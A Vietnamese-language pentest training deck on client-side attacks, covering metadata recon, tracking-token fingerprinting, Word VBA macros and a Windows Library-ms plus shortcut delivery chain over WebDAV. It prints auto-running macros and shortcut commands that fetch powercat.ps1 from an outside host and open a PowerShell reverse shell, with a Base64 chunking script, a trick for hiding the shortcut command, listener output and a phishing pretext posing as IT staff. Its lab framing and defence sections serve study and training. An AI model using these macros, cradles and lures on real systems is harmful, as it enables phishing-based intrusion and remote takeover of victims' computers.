Client-side Attacks
Client-side Attacks
Từ target reconnaissance và client fingerprinting đến Microsoft Office macros, Windows Library files và shortcut-based delivery.
Bản đồ nội dung Chương 11
Target Reconnaissance
Tìm người dùng tiềm năng, tài liệu công khai, metadata và dấu vết phần mềm.
Client Fingerprinting
Thu thập hệ điều hành, browser, IP và đặc điểm thiết bị qua tracking token.
Microsoft Office
Hiểu MOTW, Protected View và xây macro VBA trong môi trường lab.
Windows Library Files
Dùng Library-ms, WebDAV và LNK làm chuỗi delivery hai giai đoạn.
Vì sao client-side attack quan trọng?
- Client trong mạng nội bộ thường không có dịch vụ trực tiếp lộ ra Internet.
- Phishing và credential attacks là những con đường phổ biến để vượt qua perimeter.
- Client-side attack tận dụng chức năng hoặc điểm yếu trong browser, Office, Windows components và ứng dụng cục bộ.
- Kỹ thuật này đòi hỏi cả kiến thức kỹ thuật, hiểu biết về môi trường doanh nghiệp và khả năng xây dựng pretext hợp lệ.
- Mục tiêu của pentest là kiểm chứng rủi ro và cải thiện phòng thủ, không phải gây áp lực hoặc thao túng người dùng ngoài phạm vi.
Chuỗi client-side attack điển hình
Các cơ chế delivery được đề cập
Email attachments
Tệp Office, Library-ms hoặc tài liệu được gửi trực tiếp.
Download links
Đưa file qua đường dẫn thay vì đính kèm để tránh một số bộ lọc.
Malicious websites
Trình duyệt hoặc script phía client kích hoạt chuỗi tấn công.
USB dropping
Phương án vật lý, chỉ sử dụng khi phạm vi cho phép.
Watering hole
Đặt nội dung trên website mà nhóm mục tiêu thường truy cập.
Shortcut files
Trỏ tới chương trình và tham số thực thi trên Windows.
Kỹ thuật và yếu tố con người
Kỹ thuật
- Hệ điều hành và kiến trúc CPU
- Browser và phiên bản
- Office / ứng dụng cài đặt
- MOTW, macro policy, AV/EDR
- Routing và callback path
Con người
- Vai trò công việc
- Quy trình nội bộ
- Ngôn ngữ và văn phong
- Mức độ tin cậy của người gửi
- Thời điểm và tính hợp lý của yêu cầu
Target Reconnaissance
Target Reconnaissance
Thu thập dữ liệu công khai và fingerprint client để chọn attack vector phù hợp.
Mục tiêu học tập
- Thu thập thông tin để chuẩn bị client-side attack.
- Xác định người dùng tiềm năng qua website, tài liệu công khai và social media.
- Suy luận hệ điều hành, browser và ứng dụng cài đặt.
- Dùng client fingerprinting để kiểm chứng giả thuyết trước khi chuẩn bị payload.
Nguồn dữ liệu ban đầu
Website công ty
Trang liên hệ, đội ngũ, thông cáo, tài liệu tải xuống.
Tài liệu công khai
PDF, DOCX, PPTX và metadata bên trong.
Social media
Vai trò, chi nhánh, công nghệ và quan hệ công việc.
Email patterns
Tên miền, quy tắc đặt địa chỉ và nhóm chức năng.
Job postings
Công nghệ, hệ điều hành và ứng dụng doanh nghiệp.
Fingerprint links
Kiểm chứng browser, OS, IP và khả năng thực thi JavaScript.
Passive và active reconnaissance
Passive / hands-off
- Không tương tác trực tiếp với máy mục tiêu
- Ít để lại log và forensic trace
- Metadata có thể tiết lộ phần mềm
- Thông tin có thể cũ hoặc không đồng nhất
Active / interactive
- Gobuster hoặc duyệt trực tiếp website
- Tracking link cần mục tiêu click
- Dữ liệu thường mới và cụ thể hơn
- Có thể tạo log, alert hoặc bị phát hiện
Metadata có thể tiết lộ gì?
- Tên tác giả hoặc người tạo tài liệu.
- Ngày tạo và ngày chỉnh sửa cuối.
- Tên và phiên bản ứng dụng tạo file.
- Hệ điều hành hoặc nền tảng được suy luận từ producer/creator tool.
- Tên template, đường dẫn, printer, company hoặc custom properties.
- Dấu vết có thể dùng để xây dựng profile phần mềm trong tổ chức.
Quy trình khai thác metadata an toàn
Khảo sát website mục tiêu
- Website đang phát triển nhưng vẫn công khai nội dung tải xuống.
- Các nút, footer và brochure thường là nguồn tài liệu có metadata.
- Không nên chỉ dựa vào menu; cần cuộn trang và kiểm tra các thành phần tương tác.
Tìm brochure công khai
- Brochure được mở trực tiếp trong Firefox và có thể tải về.
- Tài liệu marketing thường do nhân viên nội bộ tạo bằng Office.
- URL và tên file nên được ghi vào notes để tái hiện.
Phân tích brochure.pdf bằng ExifTool
kali@kali:~$ cd Downloads
kali@kali:~/Downloads$ exiftool -a -u brochure.pdf
ExifTool Version Number : 12.41
File Name : brochure.pdf
Directory : .
File Size : 303 KiB
File Modification Date/Time : 2022:04:27 03:27:39-04:00
File Access Date/Time : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time : 2022:04:28 07:56:58-04:00
File Permissions : -rw-------
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 4
Language : en-US
Tagged PDF : Yes
XMP Toolkit : Image::ExifTool 12.41
Creator : Stanley Yelnats
Title : Mountain Vegetables
Author : Stanley Yelnats
Producer : Microsoft® PowerPoint® for Microsoft 365
Create Date : 2022:04:27 07:34:01+02:00
Creator Tool : Microsoft® PowerPoint® for Microsoft 365
Modify Date : 2022:04:27 07:34:01+02:00
Document ID : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title : Mountain Vegetables
Author : Stanley Yelnats
Create Date : 2022:04:27 07:34:01+02:00
Modify Date : 2022:04:27 07:34:01+02:00
Producer : Microsoft® PowerPoint® for Microsoft 365
Creator : Stanley Yelnats- Creator/Author: Stanley Yelnats.
- Producer và Creator Tool: Microsoft PowerPoint for Microsoft 365.
- Create/Modify Date giúp đánh giá độ mới của dữ liệu.
- Không có dấu hiệu “for Mac”, vì vậy Windows là giả thuyết hợp lý nhưng vẫn cần xác minh.
Cách đọc kết quả ExifTool
Create / Modify Date
Đánh giá dữ liệu mới hay đã lỗi thời.
Author / Creator
Xác định nhân viên, nhóm hoặc người có thể được nhắc trong pretext.
Creator Tool
Suy luận Microsoft Office, Adobe, LibreOffice hoặc ứng dụng khác.
Platform clues
Tìm “macOS”, “for Mac”, Windows-specific producer hoặc path.
Document IDs
Dùng để phân biệt bản sao hoặc phiên bản tài liệu.
Confidence
Gắn mức tin cậy thay vì coi mọi tag là sự thật tuyệt đối.
Kết luận đúng và kết luận quá mức
Kết luận hợp lý
- Tổ chức có khả năng sử dụng Microsoft 365
- Tài liệu có vẻ tương đối mới
- Tác giả có thể là nhân viên nội bộ
- Windows là giả thuyết cần xác minh
Không nên khẳng định
- Mọi nhân viên đều dùng cùng phiên bản Office
- Tác giả chắc chắn đang dùng đúng máy đó
- Macro policy cho phép thực thi
- AV/EDR không chặn payload
Checklist ghi notes cho tài liệu công khai
Client Fingerprinting
Client Fingerprinting
Dùng tracking token và JavaScript fingerprinting để kiểm chứng OS, browser và IP của mục tiêu.
Mục tiêu của fingerprinting
- Xác nhận mục tiêu đang chạy Windows hay hệ điều hành khác.
- Xác định browser và kiến trúc có thể hỗ trợ attack vector đã chọn.
- Thu thập IP công khai, vị trí tương đối và tổ chức mạng.
- Phân biệt dữ liệu từ User-Agent với dữ liệu đo trực tiếp bằng JavaScript.
- Tránh chuẩn bị payload không tương thích với client.
Pretext phải gắn với vai trò công việc
Finance
“Hóa đơn có sai lệch, vui lòng xem ảnh đánh dấu lỗi.”
Human Resources
“Biểu mẫu hoặc lịch phỏng vấn cần xác nhận.”
IT Support
“Kiểm tra cấu hình hoặc hướng dẫn nội bộ.”
Operations
“Cập nhật quy trình, lịch giao hàng hoặc dashboard.”
Quy trình Canarytoken
Canarytokens — trang khởi tạo
- Dịch vụ cho phép tạo nhiều loại tracking token.
- Trong assessment thực tế cần cân nhắc dữ liệu được gửi tới dịch vụ bên thứ ba.
- Có thể thay bằng hạ tầng tự quản nếu yêu cầu bảo mật cao.
Cấu hình Web bug / URL token
- Chọn loại token phù hợp.
- Cấu hình webhook hoặc email alert.
- Comment giúp nhận biết mục đích và chiến dịch.
Tracking link đã hoạt động
- Link được tạo để đưa vào pretext.
- Trang cũng gợi ý các cách đặt token vào nội dung.
- Không click thử bằng môi trường thật nếu chưa muốn tạo event nhiễu.
Quản lý token
- Có thể kiểm tra trạng thái và thay đổi cấu hình.
- Token chưa trigger ngay sau khi tạo là trạng thái bình thường.
- Ghi lại identifier và mục đích trong campaign notes.
Lịch sử sự kiện ban đầu
- Danh sách trống trước khi mục tiêu mở link.
- Sau mỗi event cần đối chiếu thời gian với campaign activity.
- Không nên mặc định mọi event đều đến từ mục tiêu; có thể là scanner hoặc sandbox.
Token được kích hoạt
- Một entry mới xuất hiện khi link được mở.
- Email security gateway hoặc automated scanner cũng có thể kích hoạt token.
- Cần xem User-Agent, timing và nhiều tín hiệu khác để phân biệt.
Chi tiết entry
- Hiển thị IP, vị trí tương đối, tổ chức và User-Agent.
- User-Agent có thể bị sửa hoặc giả mạo.
- Không dùng geolocation để suy luận danh tính cá nhân.
Thông tin browser từ JavaScript
- JavaScript fingerprinting có thể cung cấp dữ liệu chính xác hơn User-Agent.
- Kết quả trong ví dụ gợi ý Chrome trên Windows.
- Browser extensions, privacy mode và anti-fingerprinting có thể làm sai lệch dữ liệu.
Các định dạng token khác
- Token có thể nhúng trong Word, PDF hoặc image.
- Mỗi định dạng có hành vi trigger và rủi ro riêng.
- Dịch vụ bên thứ ba phải được khách hàng chấp thuận trước khi gửi dữ liệu.
User-Agent và JavaScript fingerprinting
User-Agent
- Dễ thu thập
- Cho biết OS/browser sơ bộ
- Có thể bị chỉnh sửa
- Scanner có thể dùng UA giả
JavaScript data
- Có nhiều đặc điểm runtime hơn
- Thường cụ thể hơn UA
- Có thể bị chặn bởi privacy controls
- Cần mục tiêu thực thi JavaScript
Các lựa chọn thay thế
IP logger
Grabify hoặc giải pháp tương tự; cần cân nhắc privacy và bên thứ ba.
fingerprint.js
Thư viện JavaScript tự nhúng vào hạ tầng kiểm thử.
Document token
Nhúng token trong Word/PDF để biết khi file được mở.
Image beacon
Theo dõi khi email hoặc trang tải hình ảnh.
Từ fingerprint đến quyết định attack vector
Checklist fingerprint campaign
Exploiting Microsoft Office
Exploiting Microsoft Office
Hiểu delivery constraints, MOTW, Protected View và cách macro VBA dẫn đến code execution trong lab.
Mục tiêu học tập
- Hiểu các biến thể và giới hạn của Microsoft Office client-side attacks.
- Nhận diện tác động của MOTW, Protected View và chính sách block macros.
- Cài đặt và cấu hình Microsoft Office trong lab.
- Tạo macro VBA, tự động gọi procedure khi mở document và kiểm chứng execution.
- Mở rộng từ lệnh đơn giản sang callback trong môi trường đào tạo.
Ba cân nhắc trước khi dùng Office document
Delivery
- Email attachment dễ bị lọc
- Link tải có thể phù hợp hơn
- Pretext cần hợp lý
- Loại file ảnh hưởng khả năng chứa macro
Execution controls
- MOTW
- Protected View
- Enable Editing / Enable Content
- Macro policy và GPO
- AV/EDR và sandbox
Tại sao email attachment khó thành công?
Spam filters
Chặn hoặc quarantine Office documents và macro-enabled files.
Attachment scanners
Mở file trong sandbox và phân tích macro.
User training
Người dùng được hướng dẫn không bật macro từ email.
Mark of the Web
Gắn nguồn Internet và kích hoạt cơ chế bảo vệ của Office.
Enterprise policy
GPO có thể vô hiệu hóa macro hoặc chỉ cho phép signed macros.
Endpoint controls
Theo dõi child process như Word → PowerShell.
Mark of the Web (MOTW)
- File tải từ Internet hoặc nhận qua một số kênh có thể được gắn Zone.Identifier.
- Office dùng MOTW để quyết định mở file trong Protected View.
- Protected View hạn chế chỉnh sửa, embedded objects và macro execution.
- Trạng thái MOTW phụ thuộc nguồn tải, file system, công cụ đóng gói và cách file được chuyển.
- Không nên giả định MOTW sẽ có hoặc không có; cần tái hiện đúng delivery path trong lab.
Protected View trong Microsoft Office
- Document mở ở chế độ chỉ đọc và hiển thị cảnh báo.
- Enable Editing là bước người dùng phải chủ động thực hiện.
- Nội dung lừa người dùng “mở khóa” tài liệu là một kỹ thuật social engineering cần được kiểm soát chặt trong assessment.
Protected View không phải toàn bộ câu chuyện
Enable Editing
Thoát Protected View nhưng chưa chắc macro được phép chạy.
Enable Content
Cơ chế cũ cho phép bật macro bằng một nút.
Macros blocked
Phiên bản mới có thể chặn macro từ Internet mặc định.
File Properties
Người dùng phải Unblock file trong properties ở một số cấu hình.
Publisher
Publisher có thể có hành vi khác nhưng không phổ biến.
Signed macros
Một số tổ chức chỉ cho phép macro ký số hoặc trusted location.
Cơ chế Enable Content trước đây
- Macro có thể được kích hoạt trực tiếp qua banner.
- Đây là hành vi cũ hoặc phụ thuộc channel/version/policy.
- Khi mô phỏng cần ghi rõ phiên bản Office và policy.
Thông báo block macro mới
- Thông báo nghiêm trọng hơn và không còn nút Enable Content đơn giản.
- Người dùng được dẫn tới tài liệu giải thích rủi ro.
- Attack path có thể yêu cầu Unblock file hoặc trusted location — làm giảm xác suất thành công.
Decision tree khi document đến client
Tấn công và phòng thủ phát triển song song
Defender evolution
- Block macros from Internet
- Attachment sandboxing
- AMSI / EDR
- Attack Surface Reduction rules
- User awareness
Attacker adaptation
- Đổi delivery path
- Dùng file type khác
- Living-off-the-land
- Obfuscation
- Chuỗi nhiều giai đoạn
Checklist chuẩn bị Office scenario
Installing Microsoft Office
Installing Microsoft Office
Chuẩn bị máy OFFICE để tái hiện chính xác hành vi của Microsoft Word và macro.
Kết nối máy OFFICE bằng RDP
- Windows 11 bật Network Level Authentication (NLA) theo mặc định.
- Máy OFFICE không domain-joined nên rdesktop có thể không kết nối được.
- xfreerdp hỗ trợ NLA cho non-domain-joined systems.
- Sau khi kết nối, mount Office2019.img và chạy Setup.exe.
- Ghi lại phiên bản Office và trạng thái trial để kết quả có thể tái hiện.
Khởi chạy Office 2019 installer
- ISO được mount như virtual CD.
- Setup.exe bắt đầu quá trình cài đặt.
- Ảnh chụp nên ghi lại phiên bản và trạng thái installer.
Bỏ qua Product Key popup
- Đóng popup để bắt đầu trial trong lab.
- Trạng thái licensing có thể ảnh hưởng một số tính năng.
- Không dùng bản cài đặt không được cấp phép ngoài lab.
Chấp nhận license agreement
- Hoàn tất bước cấu hình ban đầu.
- Ghi lại lựa chọn có thể ảnh hưởng telemetry hoặc update channel.
- Kết quả macro nên được thử lại sau khi Office update.
Thiết lập privacy
- Chọn không gửi optional data trong lab theo hướng dẫn.
- Privacy settings không thay thế macro security policy.
- Sau khi hoàn tất, mở Word và kiểm tra danh sách ứng dụng Office đã cài.
Lab readiness checklist
Leveraging Microsoft Word Macros
Leveraging Microsoft Word Macros
Từ macro VBA trống đến tự động thực thi và callback trong môi trường lab.
VBA macro là gì?
Visual Basic for Applications
Ngôn ngữ scripting tích hợp trong Office.
Sub procedure
Khối lệnh không trả về giá trị.
ActiveX objects
Cho phép truy cập COM objects và chức năng hệ điều hành.
Windows Script Host
Cung cấp WScript.Shell để chạy chương trình.
AutoOpen
Procedure đặc biệt được gọi khi document mở trong một số trường hợp.
Document_Open
Event bổ sung để bao phủ cách mở document khác.
Chọn định dạng document
- .doc có thể lưu macro nhúng trực tiếp.
- .docm là định dạng macro-enabled hiện đại.
- .docx không lưu macro nhúng theo cách tương tự nếu không dùng template/container phù hợp.
- Tên file và delivery path ảnh hưởng warning/MOTW behavior.
- Trong assessment cần dùng nội dung benign, rõ ràng và giới hạn tác động.
Lưu document dưới dạng .doc
- Định dạng .doc được chọn để macro tồn tại trong document.
- .docm cũng là lựa chọn phù hợp.
- Ghi rõ file type trong evidence và report.
Mở Macro menu
- Macro menu nằm trong tab View.
- Có thể xem, chạy, tạo và chỉnh sửa macro.
- Trong môi trường doanh nghiệp menu này có thể bị policy hạn chế.
Tạo MyMacro trong document
- Chọn đúng document trong “Macros in”.
- Đặt tên MyMacro và nhấn Create.
- Nếu lưu vào Normal.dotm thay vì document, macro sẽ không đi cùng file.
VBA Macro Editor
- Editor hiển thị procedure skeleton.
- Dòng bắt đầu bằng apostrophe là comment.
- Code được lưu khi document hỗ trợ macro và được Save.
Macro trống mặc định
Sub MyMacro()
'
' MyMacro Macro
'
'
End Sub- Sub MyMacro() mở procedure.
- End Sub kết thúc procedure.
- Các dòng comment không thực thi.
Gọi PowerShell qua WScript.Shell
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub- CreateObject tạo COM object Wscript.Shell.
- Run khởi chạy chương trình trên client.
- Word spawning PowerShell là hành vi dễ bị EDR/ASR phát hiện.
Tự động gọi MyMacro khi mở document
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub- AutoOpen và Document_Open gọi cùng procedure.
- Hai entry point giúp bao phủ nhiều cách mở document.
- Macro vẫn phụ thuộc user consent và security policy.
Macro Security Warning
- Macro bị disable mặc định trong cấu hình ví dụ.
- Người dùng phải chọn Enable Content.
- Trong Office mới, file từ Internet có thể bị block mạnh hơn.
PowerShell được khởi chạy
- Chứng minh code execution cơ bản từ macro.
- Bằng chứng nên gồm document, warning, process tree và callback log.
- Không cần payload phá hoại để chứng minh impact.
Từ proof-of-concept đến callback
String variable
Lưu command dài trong biến VBA.
Base64
Giảm vấn đề ký tự đặc biệt trong PowerShell command.
Chunking
Vượt giới hạn 255 ký tự của literal string.
HTTP server
Phục vụ powercat.ps1 trong lab.
Netcat listener
Nhận callback trên port đã chọn.
Evidence
Ghi GET request, listener và identity của shell.
Khai báo biến Str
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub- Dim Str As String tạo biến chứa command.
- Run nhận nội dung của biến thay vì literal ngắn.
- Biến phải được gán đầy đủ trước khi gọi Run.
PowerShell download cradle
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell- Tải powercat.ps1 từ web server trong lab.
- Kết nối về Kali trên port 4444.
- IP và port phải thay theo environment được cấp.
Giới hạn 255 ký tự trong VBA literal
- VBA giới hạn độ dài của một literal string.
- String được lưu trong variable có thể dài hơn.
- Giải pháp là chia command thành nhiều chunk và nối vào Str.
- Chunking phải giữ nguyên thứ tự và không thêm ký tự ngoài ý muốn.
- Base64 string không được chứa line break khi đưa vào script chia chuỗi.
Script Python chia chuỗi Base64
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')- n = 50 xác định kích thước mỗi chunk.
- Loop in ra các dòng Str = Str + "...".
- Kiểm tra lại output trước khi dán vào VBA.
Macro hoàn chỉnh gọi encoded PowerShell
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub- AutoOpen và Document_Open gọi MyMacro.
- Str được nối từ nhiều literal ngắn.
- WScript.Shell.Run thực thi command cuối cùng.
Chuẩn bị listener và web server
Callback từ Word macro
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\offsec\Documents>- Listener nhận kết nối từ máy OFFICE.
- Shell chạy trong context người dùng đã mở document.
- Không đồng nghĩa với privilege escalation.
Điều gì cần ghi vào báo cáo?
Evidence kỹ thuật
- Tên và hash document
- Delivery path và MOTW
- Office version/policy
- Macro code hoặc benign PoC
- Process tree Word → child process
- HTTP request và callback
Business context
- Nhóm người dùng bị ảnh hưởng
- Tỷ lệ delivery/open/execute
- Mức truy cập đạt được
- Khả năng lateral movement
- Controls đã chặn hoặc không chặn
Các biện pháp phòng thủ chính
Block macros from Internet
Dùng MOTW và Office policy.
Signed macros
Chỉ cho phép macro từ trusted publisher.
ASR rules
Chặn Office tạo child process hoặc inject code.
Email filtering
Block/sandbox macro-enabled documents.
Behavior detection
Phát hiện Word → PowerShell/WScript và network callback.
Awareness
Đào tạo theo quy trình nội bộ và reporting channel.
Checklist xác minh macro finding
Abusing Windows Library Files
Abusing Windows Library Files
Dùng Windows Library files làm stage một và shortcut file làm stage hai trong chuỗi delivery qua WebDAV.
Mục tiêu học tập
- Hiểu Windows Library file và vai trò của đuôi .Library-ms.
- Chuẩn bị WebDAV share bằng WsgiDAV.
- Xây XML Library Description trỏ tới remote location.
- Tạo shortcut .lnk chứa PowerShell download cradle.
- Ghép hai stage để nhận callback trong lab.
- Đánh giá điểm kiểm soát ở email, endpoint, WebDAV và user interaction.
Windows Library file là gì?
Virtual container
Kết nối người dùng với nội dung ở local hoặc remote location.
.Library-ms
File XML được Windows Explorer xử lý khi double-click.
WebDAV
Remote location có thể hiển thị như thư mục.
Shortcut stage
File .lnk trong share kích hoạt stage hai.
Explorer UX
Nội dung remote trông giống nội dung local.
User action
Cần người dùng mở Library file rồi chạy shortcut.
Chuỗi tấn công hai giai đoạn
Vì sao không chỉ gửi link tải .lnk?
Direct web link
- Gateway có thể phân tích URL
- Executable file type dễ bị chặn
- Browser tạo MOTW
- Link reputation và content scanning
Library + WebDAV
- Library file có thể qua một số filter
- Explorer hiển thị remote share như directory
- Stage hai không nằm trong email body
- Vẫn có thể bị EDR, WebDAV controls hoặc user skepticism chặn
Cài đặt WsgiDAV
kali@kali:~$ pip3 install wsgidav
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...
Successfully installed json5-0.9.6 wsgidav-4.0.1 - WsgiDAV tạo WebDAV server bằng Python.
- Kali mới có thể chặn pip vào system environment theo PEP 668.
- Có thể dùng virtual environment hoặc package python3-wsgidav.
PEP 668 và lỗi externally-managed-environment
- Kali/Debian có thể đánh dấu Python system environment là externally managed.
- Không nên ép pip ghi trực tiếp vào system packages.
- Dùng python3 -m venv để tạo virtual environment riêng.
- Hoặc cài python3-wsgidav bằng apt nếu package có sẵn.
- Đường dẫn command có thể là ~/.local/bin/wsgidav hoặc wsgidav tùy cách cài.
Tạo và chạy WebDAV share
kali@kali:~$ mkdir /home/kali/webdav
kali@kali:~$ touch /home/kali/webdav/test.txt
kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO : Lock manager: LockManager(LockStorageDict)
17:41:53.919 - INFO : Property manager: None
17:41:53.919 - INFO : Domain controller: SimpleDomainController()
17:41:53.919 - INFO : Registered DAV providers by route:
17:41:53.919 - INFO : - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO : - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO : Serving on http://0.0.0.0:80 ..- Root share: /home/kali/webdav.
- Listen trên 0.0.0.0:80.
- Anonymous authentication bị tắt kiểm soát truy cập.
- Log cảnh báo share cho phép anonymous write.
Anonymous WebDAV trong lab
Lợi ích
- Thiết lập nhanh
- Windows Explorer truy cập không cần credential
- Dễ copy file hai chiều trong lab
Rủi ro
- Bất kỳ client nào có thể đọc/ghi
- Payload có thể bị thay đổi hoặc xóa
- Không có TLS
- Không phù hợp với Internet công khai
Kiểm tra WebDAV share từ browser
- test.txt chứng minh share đang hoạt động.
- Browser access chỉ là bước sanity check; Windows Explorer dùng WebDAV client behavior khác.
- Log WsgiDAV giúp đối chiếu IP và request.
Chuẩn bị Windows client
- Library file và shortcut được tạo trên Windows để giữ đúng format.
- Tạo file trên Linux có thể được nhưng dễ sai encoding hoặc schema.
- Snapshot trước khi thử giúp khôi phục nhanh.
Khung XML Library Description
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
</libraryDescription>- Root element dùng namespace Windows 2009/library.
- File phải là XML hợp lệ và lưu với extension .Library-ms.
- Các element tiếp theo xác định tên, version, icon, template và location.
Tên và version của Library
<name>@windows.storage.dll,-34582</name>
<version>6</version>- name dùng resource string từ windows.storage.dll.
- version được đặt là 6 trong ví dụ.
- Các trường này giúp Explorer hiển thị container hợp lệ.
Pin và icon reference
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>- isLibraryPinned kiểm soát việc library có được pin hay không.
- iconReference chọn icon hệ thống.
- Icon có thể tác động tới mức độ tin cậy của người dùng nhưng không nên dùng để mạo danh ngoài phạm vi.
Template folder type
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>- folderType GUID xác định template hiển thị.
- Ví dụ dùng loại Documents.
- Template ảnh hưởng layout Explorer nhưng không tạo code execution.
Remote WebDAV location
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>- simpleLocation/url trỏ tới WebDAV server.
- isDefaultSaveLocation và isSupported cấu hình behavior.
- IP phải là địa chỉ Kali có thể truy cập từ client.
Library-ms hoàn chỉnh
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>- Kết hợp metadata, icon, template và remote URL.
- XML phải đóng tag đúng thứ tự.
- Sau khi mở lần đầu, Windows có thể sửa nội dung file; tài liệu hướng dẫn khôi phục bản gốc trước khi delivery.
Library file rỗng trong Explorer
- File được Windows nhận diện như library container.
- Trước khi URL hoạt động hoặc share có nội dung, Explorer có thể hiển thị trống.
- Đây là bước kiểm tra schema và extension.
Mở Library file
- Explorer kết nối remote WebDAV location.
- Nội dung remote được trình bày gần giống thư mục local.
- Log phía WsgiDAV phải ghi nhận kết nối từ client.
XML bị Windows chỉnh sửa
- Windows có thể thêm hoặc thay đổi metadata sau khi file được mở.
- Cần giữ một bản clean/original để delivery.
- So sánh hash trước và sau khi mở giúp nhận diện thay đổi.
Chuẩn bị stage hai: shortcut
Target path
Shortcut trỏ tới powershell.exe cùng arguments.
Download cradle
Tải powercat.ps1 từ HTTP server riêng.
Callback
Kết nối về Kali listener.
Friendly name
automatic_configuration tạo bối cảnh hỗ trợ IT.
Presentation
Icon và tên file ảnh hưởng user perception.
Properties
Command dài có thể bị ẩn khỏi vùng hiển thị nhưng vẫn bị EDR quan sát.
PowerShell command trong shortcut
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"- HTTP server chạy trên port 8000.
- Listener nhận kết nối trên port 4444.
- Command được đặt trong Target của .lnk.
- Trong assessment hiện đại, PowerShell network cradle là tín hiệu phát hiện mạnh.
Tạo shortcut trên CLIENT137
- Paste PowerShell command vào Create Shortcut wizard.
- Đặt tên automatic_configuration.
- Kiểm tra chính xác quote, URL, IP và port.
“Đẩy” command ra khỏi vùng hiển thị
- Target field của shortcut có thể chỉ hiển thị một phần command dài.
- Thêm delimiter và benign-looking text có thể khiến đoạn đáng ngờ nằm ngoài vùng nhìn thấy.
- Kỹ thuật này không che command khỏi forensic tools, EDR hoặc PowerShell logging.
- Không nên đánh giá thành công chỉ dựa trên việc người dùng khó nhìn thấy Target.
- Báo cáo cần mô tả đây là yếu tố social engineering, không phải security boundary bypass.
Kiểm tra shortcut trước khi delivery
Callback thử nghiệm từ shortcut
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.194] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\System32\WindowsPowerShell\v1.0>- Chứng minh stage hai hoạt động độc lập.
- Shell xuất phát từ client lab.
- Sau bước này mới ghép shortcut vào WebDAV share.
Ví dụ pretext email trong tài liệu
Hello! My name is Dwight, and I'm a new member of the IT Team.
This week I am completing some configurations we rolled out last week.
